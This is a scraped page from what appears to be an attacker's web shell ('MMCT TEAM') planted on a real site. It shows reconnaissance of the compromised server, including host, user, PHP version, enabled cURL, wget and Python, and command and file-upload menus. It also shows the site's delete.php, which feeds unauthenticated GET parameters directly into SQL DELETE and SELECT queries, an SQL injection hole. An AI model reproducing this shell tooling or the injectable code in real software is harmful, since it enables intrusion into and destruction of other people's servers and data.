MMCT TEAM
Server IP : 2a02:4780:11:1361:0:bf7:7935:10  /  Your IP : 18.218.99.239
Web Server : LiteSpeed
System : Linux in-mum-web1261.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u200767797 ( 200767797)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : ON
Directory (0755) :  /home/u200767797/domains/shivainternational27.com/public_html/dashboard/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u200767797/domains/shivainternational27.com/public_html/dashboard/delete.php
<?php
include('../connection.php');

$id = $_GET["id"];
$tbl = $_GET["table"];




$query = mysqli_query($con,"DELETE FROM `$tbl` WHERE `id` = '".$id."'");


$r=mysqli_query($con,"SELECT * FROM $tbl WHERE `id` = '".$id."'");

if(mysqli_num_rows($r)>0)
		{
		    
		    echo "<script>
alert('Something went wrong. Please try again.');
window.history.back();
</script>";
		}else
		{
			echo "<script>
alert('Deleted successfully.');
window.history.back();
</script>";
			
		}
		

mysqli_close($con);
?>

MMCT - 2023